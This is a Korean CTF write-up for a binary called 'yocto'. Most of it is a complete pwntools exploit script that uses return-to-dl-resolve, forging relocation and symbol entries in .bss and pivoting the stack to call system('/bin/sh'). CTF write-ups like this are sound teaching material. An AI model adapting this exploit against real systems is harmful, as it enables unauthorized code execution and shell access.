1. Reversing
바이너리 자체는 간단하다. 매우매우...
'.'으로 구분해서 [argv2].[argv1].[RET]으로 입력을 받는다.
2. Exploit
바이너리는 간단하지만 leak을 구할 수도 없고... system이나 exec계열의 함수 plt도 없어서 검색을 해봤더니 return_to_dl_resolve라는 것이 있어서 system함수를 호출했다. (자세한 내용은 다른 게시물에...)
3. slv.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
|
from pwn import *
elf = ELF('./yocto')
addr_dynsym = elf.get_section_by_name('.dynsym').header['sh_addr']
addr_dynstr = elf.get_section_by_name('.dynstr').header['sh_addr']
addr_relplt = elf.get_section_by_name('.rel.plt').header['sh_addr']
addr_plt = elf.get_section_by_name('.plt').header['sh_addr']
addr_bss = elf.get_section_by_name('.bss').header['sh_addr']
addr_got_read = elf.got['read']
addr_plt_read = elf.plt['read']
log.info('Section_Header')
log.info('.dynsym : ' + hex(addr_dynsym))
log.info('.dynstr : ' + hex(addr_dynstr))
log.info('.rel.plt : ' + hex(addr_relplt))
log.info('.plt : ' + hex(addr_plt))
log.info('.bss : ' + hex(addr_bss))
p = process('./yocto')
stack_size = 0x300
base_stage = addr_bss + stack_size
addr_leave_ret = 0x80483fc
addr_start = 0x8048300
addr_fake_reloc = base_stage + 20
addr_fake_dynsym = addr_fake_reloc + 8
addr_fake_dynstr = addr_fake_dynsym + 16
addr_fake_cmd = addr_fake_dynstr + 7
fake_reloc_offset = addr_fake_reloc - addr_relplt
fake_r_info = ((addr_fake_dynsym - addr_dynsym) * 16) & ~0xFF
fake_r_info = fake_r_info | 0x7
fake_st_name = addr_fake_dynstr - addr_dynstr
log.info('base_stage : ' + hex(base_stage))
log.info('addr_fake_reloc : ' + hex(addr_fake_reloc))
log.info('addr_fake_dynsym : ' + hex(addr_fake_dynsym))
log.info('addr_fake_dynstr : ' + hex(addr_fake_dynstr))
log.info('addr_fake_cmd : ' + hex(addr_fake_cmd))
# Stage 1. Call read(0, 0x80495c0, 0x500)
log.info('Stage 1.')
payload = ''
payload += '1.1280.134513458'
p.sendline(payload)
sleep(0.1)
# Stage 2. Set stack frame
log.info('Stage 2.')
payload = ''
payload += '134513456.' + str(base_stage) + '.' + str(addr_start+1)
payload += 'A' * (base_stage - 0x80495c0 - len(payload))
payload += 'AAAA' # fake EBP
payload += p32(addr_plt) # return to dl_resolve
payload += p32(fake_reloc_offset) # fake_reloc_offset
payload += 'BBBB' # return addr when function end
payload += p32(addr_fake_cmd)
#Fake Elf32_Rel
payload += p32(addr_got_read)
payload += p32(fake_r_info)
#Fake_Elf32_Sym
payload += p32(fake_st_name)
payload += p32(0)
payload += p32(0)
payload += p32(0x12)
# String system & /bin/sh
payload += 'system\00'
payload += '/bin/sh\00'
p.sendline(payload)
sleep(0.1)
# Stage 3. Set esp to stack frame
log.info('Stage 3.')
payload = ''
payload += str(addr_plt) + '.' + str(0xdeadbeef) + '.' + str(addr_leave_ret)
p.sendline(payload)
sleep(0.1)
# Stage 4. Call _dl_runtime_reslove
log.info('Stage 4.')
payload = ''
payload += str(0xdeadbeef) + '.' + str(0xdeadbeef) + '.' + str(addr_leave_ret)
p.interactive()
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4ftext-decoration:none">Colored by Color Scripter
|
[깨달은 점]
1. return-to-dl-resolve 기법을 사용하기 위해서 ESP를 조작해야되니 유의해야된다.
Reference
https://www.lazenca.net/display/TEC/01.Return-to-dl-resolve+-+x86